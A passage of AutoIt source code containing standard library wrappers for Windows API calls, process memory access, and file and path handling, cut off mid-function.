  2170.     Return BitShift($lgid, 10)
  2171. EndFunc
  2172.  
  2173. Func _winapi_systemparametersinfo($iaction, $iparam = 0, $vparam = 0, $iwinini = 0)
  2174.     Local $aresult = DllCall("user32.dll", "bool", "SystemParametersInfoW", "uint", $iaction, "uint", $iparam, "ptr", $vparam, "uint", $iwinini)
  2175.     If @error Then Return SetError(@error, @extended, False)
  2176.     Return $aresult[0]
  2177. EndFunc
  2178.  
  2179. Func _winapi_twipsperpixelx()
  2180.     Local $lngdc, $twipsperpixelx
  2181.     $lngdc = _winapi_getdc(0)
  2182.     $twipsperpixelx = 1440 / _winapi_getdevicecaps($lngdc, $__winapiconstant_logpixelsx)
  2183.     _winapi_releasedc(0, $lngdc)
  2184.     Return $twipsperpixelx
  2185. EndFunc
  2186.  
  2187. Func _winapi_twipsperpixely()
  2188.     Local $lngdc, $twipsperpixely
  2189.     $lngdc = _winapi_getdc(0)
  2190.     $twipsperpixely = 1440 / _winapi_getdevicecaps($lngdc, $__winapiconstant_logpixelsy)
  2191.     _winapi_releasedc(0, $lngdc)
  2192.     Return $twipsperpixely
  2193. EndFunc
  2194.  
  2195. Func _winapi_unhookwindowshookex($hhk)
  2196.     Local $aresult = DllCall("user32.dll", "bool", "UnhookWindowsHookEx", "handle", $hhk)
  2197.     If @error Then Return SetError(@error, @extended, False)
  2198.     Return $aresult[0]
  2199. EndFunc
  2200.  
  2201. Func _winapi_updatelayeredwindow($hwnd, $hdcdest, $pptdest, $psize, $hdcsrce, $pptsrce, $irgb, $pblend, $iflags)
  2202.     Local $aresult = DllCall("user32.dll", "bool", "UpdateLayeredWindow", "hwnd", $hwnd, "handle", $hdcdest, "ptr", $pptdest, "ptr", $psize, "handle", $hdcsrce, "ptr", $pptsrce, "dword", $irgb, "ptr", $pblend, "dword", $iflags)
  2203.     If @error Then Return SetError(@error, @extended, False)
  2204.     Return $aresult[0]
  2205. EndFunc
  2206.  
  2207. Func _winapi_updatewindow($hwnd)
  2208.     Local $aresult = DllCall("user32.dll", "bool", "UpdateWindow", "hwnd", $hwnd)
  2209.     If @error Then Return SetError(@error, @extended, False)
  2210.     Return $aresult[0]
  2211. EndFunc
  2212.  
  2213. Func _winapi_waitforinputidle($hprocess, $itimeout = -1)
  2214.     Local $aresult = DllCall("user32.dll", "dword", "WaitForInputIdle", "handle", $hprocess, "dword", $itimeout)
  2215.     If @error Then Return SetError(@error, @extended, False)
  2216.     Return $aresult[0]
  2217. EndFunc
  2218.  
  2219. Func _winapi_waitformultipleobjects($icount, $phandles, $fwaitall = False, $itimeout = -1)
  2220.     Local $aresult = DllCall("kernel32.dll", "INT", "WaitForMultipleObjects", "dword", $icount, "ptr", $phandles, "bool", $fwaitall, "dword", $itimeout)
  2221.     If @error Then Return SetError(@error, @extended, -1)
  2222.     Return $aresult[0]
  2223. EndFunc
  2224.  
  2225. Func _winapi_waitforsingleobject($hhandle, $itimeout = -1)
  2226.     Local $aresult = DllCall("kernel32.dll", "INT", "WaitForSingleObject", "handle", $hhandle, "dword", $itimeout)
  2227.     If @error Then Return SetError(@error, @extended, -1)
  2228.     Return $aresult[0]
  2229. EndFunc
  2230.  
  2231. Func _winapi_widechartomultibyte($punicode, $icodepage = 0, $bretstring = True)
  2232.     Local $sunicodetype = "ptr"
  2233.     If IsDllStruct($punicode) Then
  2234.         $punicode = DllStructGetPtr($punicode)
  2235.     Else
  2236.         If NOT IsPtr($punicode) Then $sunicodetype = "wstr"
  2237.     EndIf
  2238.     Local $aresult = DllCall("kernel32.dll", "int", "WideCharToMultiByte", "uint", $icodepage, "dword", 0, $sunicodetype, $punicode, "int", -1, "ptr", 0, "int", 0, "ptr", 0, "ptr", 0)
  2239.     If @error Then Return SetError(@error, @extended, "")
  2240.     Local $tmultibyte = DllStructCreate("char[" & $aresult[0] & "]")
  2241.     Local $pmultibyte = DllStructGetPtr($tmultibyte)
  2242.     $aresult = DllCall("kernel32.dll", "int", "WideCharToMultiByte", "uint", $icodepage, "dword", 0, $sunicodetype, $punicode, "int", -1, "ptr", $pmultibyte, "int", $aresult[0], "ptr", 0, "ptr", 0)
  2243.     If @error Then Return SetError(@error, @extended, "")
  2244.     If $bretstring Then Return DllStructGetData($tmultibyte, 1)
  2245.     Return $tmultibyte
  2246. EndFunc
  2247.  
  2248. Func _winapi_windowfrompoint(ByRef $tpoint)
  2249.     Local $tpointcast = DllStructCreate("int64", DllStructGetPtr($tpoint))
  2250.     Local $aresult = DllCall("user32.dll", "hwnd", "WindowFromPoint", "int64", DllStructGetData($tpointcast, 1))
  2251.     If @error Then Return SetError(@error, @extended, 0)
  2252.     Return $aresult[0]
  2253. EndFunc
  2254.  
  2255. Func _winapi_writeconsole($hconsole, $stext)
  2256.     Local $aresult = DllCall("kernel32.dll", "bool", "WriteConsoleW", "handle", $hconsole, "wstr", $stext, "dword", StringLen($stext), "dword*", 0, "ptr", 0)
  2257.     If @error Then Return SetError(@error, @extended, False)
  2258.     Return $aresult[0]
  2259. EndFunc
  2260.  
  2261. Func _winapi_writefile($hfile, $pbuffer, $itowrite, ByRef $iwritten, $poverlapped = 0)
  2262.     Local $aresult = DllCall("kernel32.dll", "bool", "WriteFile", "handle", $hfile, "ptr", $pbuffer, "dword", $itowrite, "dword*", 0, "ptr", $poverlapped)
  2263.     If @error Then Return SetError(@error, @extended, False)
  2264.     $iwritten = $aresult[4]
  2265.     Return $aresult[0]
  2266. EndFunc
  2267.  
  2268. Func _winapi_writeprocessmemory($hprocess, $pbaseaddress, $pbuffer, $isize, ByRef $iwritten, $sbuffer = "ptr")
  2269.     Local $aresult = DllCall("kernel32.dll", "bool", "WriteProcessMemory", "handle", $hprocess, "ptr", $pbaseaddress, $sbuffer, $pbuffer, "ulong_ptr", $isize, "ulong_ptr*", 0)
  2270.     If @error Then Return SetError(@error, @extended, False)
  2271.     $iwritten = $aresult[5]
  2272.     Return $aresult[0]
  2273. EndFunc
  2274.  
  2275. Global Const $gmem_fixed = 0
  2276. Global Const $gmem_moveable = 2
  2277. Global Const $gmem_nocompact = 16
  2278. Global Const $gmem_nodiscard = 32
  2279. Global Const $gmem_zeroinit = 64
  2280. Global Const $gmem_modify = 128
  2281. Global Const $gmem_discardable = 256
  2282. Global Const $gmem_not_banked = 4096
  2283. Global Const $gmem_share = 8192
  2284. Global Const $gmem_ddeshare = 8192
  2285. Global Const $gmem_notify = 16384
  2286. Global Const $gmem_lower = 4096
  2287. Global Const $gmem_valid_flags = 32626
  2288. Global Const $gmem_invalid_handle = 32768
  2289. Global Const $gptr = $gmem_fixed + $gmem_zeroinit
  2290. Global Const $ghnd = $gmem_moveable + $gmem_zeroinit
  2291. Global Const $mem_commit = 4096
  2292. Global Const $mem_reserve = 8192
  2293. Global Const $mem_top_down = 1048576
  2294. Global Const $mem_shared = 134217728
  2295. Global Const $page_noaccess = 1
  2296. Global Const $page_readonly = 2
  2297. Global Const $page_readwrite = 4
  2298. Global Const $page_execute = 16
  2299. Global Const $page_execute_read = 32
  2300. Global Const $page_execute_readwrite = 64
  2301. Global Const $page_guard = 256
  2302. Global Const $page_nocache = 512
  2303. Global Const $mem_decommit = 16384
  2304. Global Const $mem_release = 32768
  2305. Global Const $process_terminate = 1
  2306. Global Const $process_create_thread = 2
  2307. Global Const $process_set_sessionid = 4
  2308. Global Const $process_vm_operation = 8
  2309. Global Const $process_vm_read = 16
  2310. Global Const $process_vm_write = 32
  2311. Global Const $process_dup_handle = 64
  2312. Global Const $process_create_process = 128
  2313. Global Const $process_set_quota = 256
  2314. Global Const $process_set_information = 512
  2315. Global Const $process_query_information = 1024
  2316. Global Const $process_suspend_resume = 2048
  2317. Global Const $process_all_access = 2035711
  2318. Global Const $tagmemmap = "handle hProc;ulong_ptr Size;ptr Mem"
  2319.  
  2320. Func _memfree(ByRef $tmemmap)
  2321.     Local $pmemory = DllStructGetData($tmemmap, "Mem")
  2322.     Local $hprocess = DllStructGetData($tmemmap, "hProc")
  2323.     Local $bresult = _memvirtualfreeex($hprocess, $pmemory, 0, $mem_release)
  2324.     DllCall("kernel32.dll", "bool", "CloseHandle", "handle", $hprocess)
  2325.     If @error Then Return SetError(@error, @extended, False)
  2326.     Return $bresult
  2327. EndFunc
  2328.  
  2329. Func _memglobalalloc($ibytes, $iflags = 0)
  2330.     Local $aresult = DllCall("kernel32.dll", "handle", "GlobalAlloc", "uint", $iflags, "ulong_ptr", $ibytes)
  2331.     If @error Then Return SetError(@error, @extended, 0)
  2332.     Return $aresult[0]
  2333. EndFunc
  2334.  
  2335. Func _memglobalfree($hmem)
  2336.     Local $aresult = DllCall("kernel32.dll", "ptr", "GlobalFree", "handle", $hmem)
  2337.     If @error Then Return SetError(@error, @extended, False)
  2338.     Return $aresult[0]
  2339. EndFunc
  2340.  
  2341. Func _memgloballock($hmem)
  2342.     Local $aresult = DllCall("kernel32.dll", "ptr", "GlobalLock", "handle", $hmem)
  2343.     If @error Then Return SetError(@error, @extended, 0)
  2344.     Return $aresult[0]
  2345. EndFunc
  2346.  
  2347. Func _memglobalsize($hmem)
  2348.     Local $aresult = DllCall("kernel32.dll", "ulong_ptr", "GlobalSize", "handle", $hmem)
  2349.     If @error Then Return SetError(@error, @extended, 0)
  2350.     Return $aresult[0]
  2351. EndFunc
  2352.  
  2353. Func _memglobalunlock($hmem)
  2354.     Local $aresult = DllCall("kernel32.dll", "bool", "GlobalUnlock", "handle", $hmem)
  2355.     If @error Then Return SetError(@error, @extended, 0)
  2356.     Return $aresult[0]
  2357. EndFunc
  2358.  
  2359. Func _meminit($hwnd, $isize, ByRef $tmemmap)
  2360.     Local $aresult = DllCall("User32.dll", "dword", "GetWindowThreadProcessId", "hwnd", $hwnd, "dword*", 0)
  2361.     If @error Then Return SetError(@error, @extended, 0)
  2362.     Local $iprocessid = $aresult[2]
  2363.     If $iprocessid = 0 Then Return SetError(1, 0, 0)
  2364.     Local $iaccess = BitOR($process_vm_operation, $process_vm_read, $process_vm_write)
  2365.     Local $hprocess = __mem_openprocess($iaccess, False, $iprocessid, True)
  2366.     Local $ialloc = BitOR($mem_reserve, $mem_commit)
  2367.     Local $pmemory = _memvirtualallocex($hprocess, 0, $isize, $ialloc, $page_readwrite)
  2368.     If $pmemory = 0 Then Return SetError(2, 0, 0)
  2369.     $tmemmap = DllStructCreate($tagmemmap)
  2370.     DllStructSetData($tmemmap, "hProc", $hprocess)
  2371.     DllStructSetData($tmemmap, "Size", $isize)
  2372.     DllStructSetData($tmemmap, "Mem", $pmemory)
  2373.     Return $pmemory
  2374. EndFunc
  2375.  
  2376. Func _memmovememory($psource, $pdest, $ilength)
  2377.     DllCall("kernel32.dll", "none", "RtlMoveMemory", "ptr", $pdest, "ptr", $psource, "ulong_ptr", $ilength)
  2378.     If @error Then Return SetError(@error, @extended)
  2379. EndFunc
  2380.  
  2381. Func _memread(ByRef $tmemmap, $psrce, $pdest, $isize)
  2382.     Local $aresult = DllCall("kernel32.dll", "bool", "ReadProcessMemory", "handle", DllStructGetData($tmemmap, "hProc"), "ptr", $psrce, "ptr", $pdest, "ulong_ptr", $isize, "ulong_ptr*", 0)
  2383.     If @error Then Return SetError(@error, @extended, False)
  2384.     Return $aresult[0]
  2385. EndFunc
  2386.  
  2387. Func _memwrite(ByRef $tmemmap, $psrce, $pdest = 0, $isize = 0, $ssrce = "ptr")
  2388.     If $pdest = 0 Then $pdest = DllStructGetData($tmemmap, "Mem")
  2389.     If $isize = 0 Then $isize = DllStructGetData($tmemmap, "Size")
  2390.     Local $aresult = DllCall("kernel32.dll", "bool", "WriteProcessMemory", "handle", DllStructGetData($tmemmap, "hProc"), "ptr", $pdest, $ssrce, $psrce, "ulong_ptr", $isize, "ulong_ptr*", 0)
  2391.     If @error Then Return SetError(@error, @extended, False)
  2392.     Return $aresult[0]
  2393. EndFunc
  2394.  
  2395. Func _memvirtualalloc($paddress, $isize, $iallocation, $iprotect)
  2396.     Local $aresult = DllCall("kernel32.dll", "ptr", "VirtualAlloc", "ptr", $paddress, "ulong_ptr", $isize, "dword", $iallocation, "dword", $iprotect)
  2397.     If @error Then Return SetError(@error, @extended, 0)
  2398.     Return $aresult[0]
  2399. EndFunc
  2400.  
  2401. Func _memvirtualallocex($hprocess, $paddress, $isize, $iallocation, $iprotect)
  2402.     Local $aresult = DllCall("kernel32.dll", "ptr", "VirtualAllocEx", "handle", $hprocess, "ptr", $paddress, "ulong_ptr", $isize, "dword", $iallocation, "dword", $iprotect)
  2403.     If @error Then Return SetError(@error, @extended, 0)
  2404.     Return $aresult[0]
  2405. EndFunc
  2406.  
  2407. Func _memvirtualfree($paddress, $isize, $ifreetype)
  2408.     Local $aresult = DllCall("kernel32.dll", "bool", "VirtualFree", "ptr", $paddress, "ulong_ptr", $isize, "dword", $ifreetype)
  2409.     If @error Then Return SetError(@error, @extended, False)
  2410.     Return $aresult[0]
  2411. EndFunc
  2412.  
  2413. Func _memvirtualfreeex($hprocess, $paddress, $isize, $ifreetype)
  2414.     Local $aresult = DllCall("kernel32.dll", "bool", "VirtualFreeEx", "handle", $hprocess, "ptr", $paddress, "ulong_ptr", $isize, "dword", $ifreetype)
  2415.     If @error Then Return SetError(@error, @extended, False)
  2416.     Return $aresult[0]
  2417. EndFunc
  2418.  
  2419. Func __mem_openprocess($iaccess, $finherit, $iprocessid, $fdebugpriv = False)
  2420.     Local $aresult = DllCall("kernel32.dll", "handle", "OpenProcess", "dword", $iaccess, "bool", $finherit, "dword", $iprocessid)
  2421.     If @error Then Return SetError(@error, @extended, 0)
  2422.     If $aresult[0] Then Return $aresult[0]
  2423.     If NOT $fdebugpriv Then Return 0
  2424.     Local $htoken = _security__openthreadtokenex(BitOR($token_adjust_privileges, $token_query))
  2425.     If @error Then Return SetError(@error, @extended, 0)
  2426.     _security__setprivilege($htoken, "SeDebugPrivilege", True)
  2427.     Local $ierror = @error
  2428.     Local $ilasterror = @extended
  2429.     Local $iret = 0
  2430.     If NOT @error Then
  2431.         $aresult = DllCall("kernel32.dll", "handle", "OpenProcess", "dword", $iaccess, "bool", $finherit, "dword", $iprocessid)
  2432.         $ierror = @error
  2433.         $ilasterror = @extended
  2434.         If $aresult[0] Then $iret = $aresult[0]
  2435.         _security__setprivilege($htoken, "SeDebugPrivilege", False)
  2436.         If @error Then
  2437.             $ierror = @error
  2438.             $ilasterror = @extended
  2439.         EndIf
  2440.     EndIf
  2441.     DllCall("kernel32.dll", "bool", "CloseHandle", "handle", $htoken)
  2442.     Return SetError($ierror, $ilasterror, $iret)
  2443. EndFunc
  2444.  
  2445. Func _filecountlines($sfilepath)
  2446.     Local $hfile = FileOpen($sfilepath, $fo_read)
  2447.     If $hfile = -1 Then Return SetError(1, 0, 0)
  2448.     Local $sfilecontent = StringStripWS(FileRead($hfile), 2)
  2449.     FileClose($hfile)
  2450.     Local $atmp
  2451.     If StringInStr($sfilecontent, @LF) Then
  2452.         $atmp = StringSplit(StringStripCR($sfilecontent), @LF)
  2453.     ElseIf StringInStr($sfilecontent, @CR) Then
  2454.         $atmp = StringSplit($sfilecontent, @CR)
  2455.     Else
  2456.         If StringLen($sfilecontent) Then
  2457.             Return 1
  2458.         Else
  2459.             Return SetError(2, 0, 0)
  2460.         EndIf
  2461.     EndIf
  2462.     Return $atmp[0]
  2463. EndFunc
  2464.  
  2465. Func _filecreate($sfilepath)
  2466.     Local $hopenfile = FileOpen($sfilepath, $fo_overwrite)
  2467.     If $hopenfile = -1 Then Return SetError(1, 0, 0)
  2468.     Local $hwritefile = FileWrite($hopenfile, "")
  2469.     FileClose($hopenfile)
  2470.     If $hwritefile = -1 Then Return SetError(2, 0, 0)
  2471.     Return 1
  2472. EndFunc
  2473.  
  2474. Func _filelisttoarray($spath, $sfilter = "*", $iflag = 0)
  2475.     Local $hsearch, $sfile, $sfilelist, $sdelim = "|"
  2476.     $spath = StringRegExpReplace($spath, "[\\/]+\z", "") & "\"
  2477.     If NOT FileExists($spath) Then Return SetError(1, 1, "")
  2478.     If StringRegExp($sfilter, "[\\/:><\|]|(?s)\A\s*\z") Then Return SetError(2, 2, "")
  2479.     If NOT ($iflag = 0 OR $iflag = 1 OR $iflag = 2) Then Return SetError(3, 3, "")
  2480.     $hsearch = FileFindFirstFile($spath & $sfilter)
  2481.     If @error Then Return SetError(4, 4, "")
  2482.     While 1
  2483.         $sfile = FileFindNextFile($hsearch)
  2484.         If @error Then ExitLoop
  2485.         If ($iflag + @extended = 2) Then ContinueLoop
  2486.         $sfilelist &= $sdelim & $sfile
  2487.     WEnd
  2488.     FileClose($hsearch)
  2489.     If NOT $sfilelist Then Return SetError(4, 4, "")
  2490.     Return StringSplit(StringTrimLeft($sfilelist, 1), "|")
  2491. EndFunc
  2492.  
  2493. Func _fileprint($s_file, $i_show = @SW_HIDE)
  2494.     Local $a_ret = DllCall("shell32.dll", "int", "ShellExecuteW", "hwnd", 0, "wstr", "print", "wstr", $s_file, "wstr", "", "wstr", "", "int", $i_show)
  2495.     If @error Then Return SetError(@error, @extended, 0)
  2496.     If $a_ret[0] <= 32 Then Return SetError(10, $a_ret[0], 0)
  2497.     Return 1
  2498. EndFunc
  2499.  
  2500. Func _filereadtoarray($sfilepath, ByRef $aarray)
  2501.     Local $hfile = FileOpen($sfilepath, $fo_read)
  2502.     If $hfile = -1 Then Return SetError(1, 0, 0)
  2503.     Local $afile = FileRead($hfile, FileGetSize($sfilepath))
  2504.     If StringRight($afile, 1) = @LF Then $afile = StringTrimRight($afile, 1)
  2505.     If StringRight($afile, 1) = @CR Then $afile = StringTrimRight($afile, 1)
  2506.     FileClose($hfile)
  2507.     If StringInStr($afile, @LF) Then
  2508.         $aarray = StringSplit(StringStripCR($afile), @LF)
  2509.     ElseIf StringInStr($afile, @CR) Then
  2510.         $aarray = StringSplit($afile, @CR)
  2511.     Else
  2512.         If StringLen($afile) Then
  2513.             Dim $aarray[2] = [1, $afile]
  2514.         Else
  2515.             Return SetError(2, 0, 0)
  2516.         EndIf
  2517.     EndIf
  2518.     Return 1
  2519. EndFunc
  2520.  
  2521. Func _filewritefromarray($file, $a_array, $i_base = 0, $i_ubound = 0)
  2522.     If NOT IsArray($a_array) Then Return SetError(2, 0, 0)
  2523.     Local $last = UBound($a_array) - 1
  2524.     If $i_ubound < 1 OR $i_ubound > $last Then $i_ubound = $last
  2525.     If $i_base < 0 OR $i_base > $last Then $i_base = 0
  2526.     Local $hfile
  2527.     If IsString($file) Then
  2528.         $hfile = FileOpen($file, $fo_overwrite)
  2529.     Else
  2530.         $hfile = $file
  2531.     EndIf
  2532.     If $hfile = -1 Then Return SetError(1, 0, 0)
  2533.     Local $errorsav = 0
  2534.     For $x = $i_base To $i_ubound
  2535.         If FileWrite($hfile, $a_array[$x] & @CRLF) = 0 Then
  2536.             $errorsav = 3
  2537.             ExitLoop
  2538.         EndIf
  2539.     Next
  2540.     If IsString($file) Then FileClose($hfile)
  2541.     If $errorsav Then Return SetError($errorsav, 0, 0)
  2542.     Return 1
  2543. EndFunc
  2544.  
  2545. Func _filewritelog($slogpath, $slogmsg, $iflag = -1)
  2546.     Local $iopenmode = $fo_append
  2547.     Local $sdatenow = @YEAR & "-" & @MON & "-" & @MDAY
  2548.     Local $stimenow = @HOUR & ":" & @MIN & ":" & @SEC
  2549.     Local $smsg = $sdatenow & " " & $stimenow & " : " & $slogmsg
  2550.     If $iflag <> -1 Then
  2551.         $smsg &= @CRLF & FileRead($slogpath)
  2552.         $iopenmode = $fo_overwrite
  2553.     EndIf
  2554.     Local $hopenfile = FileOpen($slogpath, $iopenmode)
  2555.     If $hopenfile = -1 Then Return SetError(1, 0, 0)
  2556.     Local $iwritefile = FileWriteLine($hopenfile, $smsg)
  2557.     Local $iret = FileClose($hopenfile)
  2558.     If $iwritefile = -1 Then Return SetError(2, $iret, 0)
  2559.     Return $iret
  2560. EndFunc
  2561.  
  2562. Func _filewritetoline($sfile, $iline, $stext, $foverwrite = 0)
  2563.     If $iline <= 0 Then Return SetError(4, 0, 0)
  2564.     If NOT IsString($stext) Then Return SetError(6, 0, 0)
  2565.     If $foverwrite <> 0 AND $foverwrite <> 1 Then Return SetError(5, 0, 0)
  2566.     If NOT FileExists($sfile) Then Return SetError(2, 0, 0)
  2567.     Local $sread_file = FileRead($sfile)
  2568.     Local $asplit_file = StringSplit(StringStripCR($sread_file), @LF)
  2569.     If UBound($asplit_file) < $iline Then Return SetError(1, 0, 0)
  2570.     Local $hfile = FileOpen($sfile, $fo_overwrite)
  2571.     If $hfile = -1 Then Return SetError(3, 0, 0)
  2572.     $sread_file = ""
  2573.     For $i = 1 To $asplit_file[0]
  2574.         If $i = $iline Then
  2575.             If $foverwrite = 1 Then
  2576.                 If $stext <> "" Then $sread_file &= $stext & @CRLF
  2577.             Else
  2578.                 $sread_file &= $stext & @CRLF & $asplit_file[$i] & @CRLF
  2579.             EndIf
  2580.         ElseIf $i < $asplit_file[0] Then
  2581.             $sread_file &= $asplit_file[$i] & @CRLF
  2582.         ElseIf $i = $asplit_file[0] Then
  2583.             $sread_file &= $asplit_file[$i]
  2584.         EndIf
  2585.     Next
  2586.     FileWrite($hfile, $sread_file)
  2587.     FileClose($hfile)
  2588.     Return 1
  2589. EndFunc
  2590.  
  2591. Func _pathfull($srelativepath, $sbasepath = @WorkingDir)
  2592.     If NOT $srelativepath OR $srelativepath = "." Then Return $sbasepath
  2593.     Local $sfullpath = StringReplace($srelativepath, "/", "\")
  2594.     Local Const $sfullpathconst = $sfullpath
  2595.     Local $spath
  2596.     Local $brootonly = StringLeft($sfullpath, 1) = "\" AND StringMid($sfullpath, 2, 1) <> "\"
  2597.     For $i = 1 To 2
  2598.         $spath = StringLeft($sfullpath, 2)
  2599.         If $spath = "\\" Then
  2600.             $sfullpath = StringTrimLeft($sfullpath, 2)
  2601.             Local $nserverlen = StringInStr($sfullpath, "\") - 1
  2602.             $spath = "\\" & StringLeft($sfullpath, $nserverlen)
  2603.             $sfullpath = StringTrimLeft($sfullpath, $nserverlen)
  2604.             ExitLoop
  2605.         ElseIf StringRight($spath, 1) = ":" Then
  2606.             $sfullpath = StringTrimLeft($sfullpath, 2)
  2607.             ExitLoop
  2608.         Else
  2609.             $sfullpath = $sbasepath & "\" & $sfullpath
  2610.         EndIf
  2611.     Next
  2612.     If $i = 3 Then Return ""
  2613.     If StringLeft($sfullpath, 1) <> "\" Then
  2614.         If StringLeft($sfullpathconst, 2) = StringLeft($sbasepath, 2) Then
  2615.             $sfullpath = $sbasepath & "\" & $sfullpath
  2616.         Else
  2617.             $sfullpath = "\" & $sfullpath
  2618.         EndIf
  2619.     EndIf
  2620.     Local $atemp = StringSplit($sfullpath, "\")
  2621.     Local $apathparts[$atemp[0]], $j = 0
  2622.     For $i = 2 To $atemp[0]
  2623.         If $atemp[$i] = ".." Then
  2624.             If $j Then $j -= 1
  2625.         ElseIf NOT ($atemp[$i] = "" AND $i <> $atemp[0]) AND $atemp[$i] <> "." Then
  2626.             $apathparts[$j] = $atemp[$i]
  2627.             $j += 1
  2628.         EndIf
  2629.     Next
  2630.     $sfullpath = $spath
  2631.     If NOT $brootonly Then
  2632.         For $i = 0 To $j - 1
  2633.             $sfullpath &= "\" & $apathparts[$i]
  2634.         Next
  2635.     Else
  2636.         $sfullpath &= $sfullpathconst
  2637.         If StringInStr($sfullpath, "..") Then $sfullpath = _pathfull($sfullpath)
  2638.     EndIf
  2639.     While StringInStr($sfullpath, ".\")
  2640.         $sfullpath = StringReplace($sfullpath, ".\", "\")
  2641.     WEnd
  2642.     Return $sfullpath
  2643. EndFunc
  2644.  
  2645. Func _pathgetrelative($sfrom, $sto)
  2646.     If StringRight($sfrom, 1) <> "\" Then $sfrom &= "\"
  2647.     If StringRight($sto, 1) <> "\" Then $sto &= "\"
  2648.     If $sfrom = $sto Then Return SetError(1, 0, StringTrimRight($sto, 1))
  2649.     Local $asfrom = StringSplit($sfrom, "\")
  2650.     Local $asto = StringSplit($sto, "\")
  2651.     If $asfrom[1] <> $asto[1] Then Return SetError(2, 0, StringTrimRight($sto, 1))
  2652.     Local $i = 2
  2653.     Local $idiff = 1
  2654.     While 1
  2655.         If $asfrom[$i] <> $asto[$i] Then
  2656.             $idiff = $i
  2657.             ExitLoop
  2658.         EndIf
  2659.         $i += 1
  2660.     WEnd
  2661.     $i = 1
  2662.     Local $srelpath = ""
  2663.     For $j = 1 To $asto[0]
  2664.         If $i >= $idiff Then
  2665.             $srelpath &= "\" & $asto[$i]
  2666.         EndIf
  2667.         $i += 1
  2668.     Next
  2669.     $srelpath = StringTrimLeft($srelpath, 1)
  2670.     $i = 1
  2671.     For $j = 1 To $asfrom[0]
  2672.         If $i > $idiff Then
  2673.             $srelpath = "..\" & $srelpath
  2674.         EndIf
  2675.         $i += 1
  2676.     Next
  2677.     If StringRight($srelpath, 1) == "\" Then $srelpath = StringTrimRight($srelpath, 1)
  2678.     Return $srelpath
  2679. EndFunc
  2680.  
  2681. Func _pathmake($szdrive, $szdir, $szfname, $szext)
  2682.     If StringLen($szdrive) Then
  2683.         If NOT (StringLeft($szdrive, 2) = "\\") Then $szdrive = StringLeft($szdrive, 1) & ":"
  2684.     EndIf
  2685.     If StringLen($szdir) Then
  2686.         If NOT (StringRight($szdir, 1) = "\") AND NOT (StringRight($szdir, 1) = "/") Then $szdir = $szdir & "\"
  2687.     EndIf
  2688.     If StringLen($szext) Then
  2689.         If NOT (StringLeft($szext, 1) = ".") Then $szext = "." & $szext
  2690.     EndIf
  2691.     Return $szdrive & $szdir & $szfname & $szext
  2692. EndFunc
  2693.  
  2694. Func _pathsplit($szpath, ByRef $szdrive, ByRef $szdir, ByRef $szfname, ByRef $szext)
  2695.     Local $drive = ""
  2696.     Local $dir = ""
  2697.     Local $fname = ""
  2698.     Local $ext = ""
  2699.     Local $pos
  2700.     Local $array[5]
  2701.     $array[0] = $szpath
  2702.     If StringMid($szpath, 2, 1) = ":" Then
  2703.         $drive = StringLeft($szpath, 2)
  2704.         $szpath = StringTrimLeft($szpath, 2)
  2705.     ElseIf StringLeft($szpath, 2) = "\\" Then
  2706.         $szpath = StringTrimLeft($szpath, 2)
  2707.         $pos = StringInStr($szpath, "\")
  2708.         If $pos = 0 Then $pos = StringInStr($szpath, "/")
  2709.         If $pos = 0 Then
  2710.             $drive = "\\" & $szpath
  2711.             $szpath = ""
  2712.         Else
  2713.             $drive = "\\" & StringLeft($szpath, $pos - 1)
  2714.             $szpath = StringTrimLeft($szpath, $pos - 1)
  2715.         EndIf
  2716.     EndIf
  2717.     Local $nposforward = StringInStr($szpath, "/", 0, -1)
  2718.     Local $nposbackward = StringInStr($szpath, "\", 0, -1)
  2719.     If $nposforward >= $nposbackward Then
  2720.         $pos = $nposforward
  2721.     Else
  2722.         $pos = $nposbackward
  2723.     EndIf
  2724.     $dir = StringLeft($szpath, $pos)
  2725.     $fname = StringRight($szpath, StringLen($szpath) - $pos)
  2726.     If StringLen($dir) = 0 Then $fname = $szpath
  2727.     $pos = StringInStr($fname, ".", 0, -1)
  2728.     If $pos Then
  2729.         $ext = StringRight($fname, StringLen($fname) - ($pos - 1))
  2730.         $fname = StringLeft($fname, $pos - 1)
  2731.     EndIf
  2732.     $szdrive = $drive
  2733.     $szdir = $dir
  2734.     $szfname = $fname
  2735.     $szext = $ext
  2736.     $array[1] = $drive
  2737.     $array[2] = $dir
  2738.     $array[3] = $fname
  2739.     $array[4] = $ext
  2740.     Return $array
  2741. EndFunc
  2742.  
  2743. Func _replacestringinfile($szfilename, $szsearchstring, $szreplacestring, $fcaseness = 0, $foccurance = 1)
  2744.     Local $iretval = 0
  2745.     Local $ncount, $sendswith
  2746.     If StringInStr(FileGetAttrib($szfilename), "R") Then Return SetError(6, 0, -1)
  2747.     Local $hfile = FileOpen($szfilename, $fo_read)
  2748.     If $hfile = -1 Then Return SetError(1, 0, -1)
  2749.     Local $s_totfile = FileRead($hfile, FileGetSize($szfilename))
  2750.     If StringRight($s_totfile, 2) = @CRLF Then
  2751.         $sendswith = @CRLF
  2752.     ElseIf StringRight($s_totfile, 1) = @CR Then
  2753.         $sendswith = @CR
  2754.     ElseIf StringRight($s_totfile, 1) = @LF Then
  2755.         $sendswith = @LF
  2756.     Else
  2757.         $sendswith = ""
  2758.     EndIf
  2759.     Local $afilelines = StringSplit(StringStripCR($s_totfile), @LF)
  2760.     FileClose($hfile)
  2761.     Local $hwritehandle = FileOpen($szfilename, $fo_overwrite)
  2762.     If $hwritehandle = -1 Then Return SetError(2, 0, -1)
  2763.     For $ncount = 1 To $afilelines[0]
  2764.         If StringInStr($afilelines[$ncount], $szsearchstring, $fcaseness) Then
  2765.             $afilelines[$ncount] = StringReplace($afilelines[$ncount], $szsearchstring, $szreplacestring, 1 - $foccurance, $fcaseness)
  2766.             $iretval = $iretval + 1
  2767.             If $foccurance = 0 Then
  2768.                 $iretval = 1
  2769.                 ExitLoop
  2770.             EndIf
  2771.         EndIf
  2772.     Next
  2773.     For $ncount = 1 To $afilelines[0] - 1
  2774.         If FileWriteLine($hwritehandle, $afilelines[$ncount]) = 0 Then
  2775.             FileClose($hwritehandle)
  2776.             Return SetError(3, 0, -1)
  2777.         EndIf
  2778.     Next
  2779.     If $afilelines[$ncount] <> "" Then FileWrite($hwritehandle, $afilelines[$ncount] & $sendswith)
  2780.     FileClose($hwritehandle)
  2781.     Return $iretval
  2782. EndFunc
  2783.  
  2784. Func _tempfile($s_directoryname = @TempDir, $s_fileprefix = "~", $s_fileextension = ".tmp", $i_randomlength = 7)
  2785.     If NOT FileExists($s_directoryname) Then $s_directoryname = @TempDir
  2786.     If NOT FileExists($s_directoryname) Then $s_directoryname = @ScriptDir
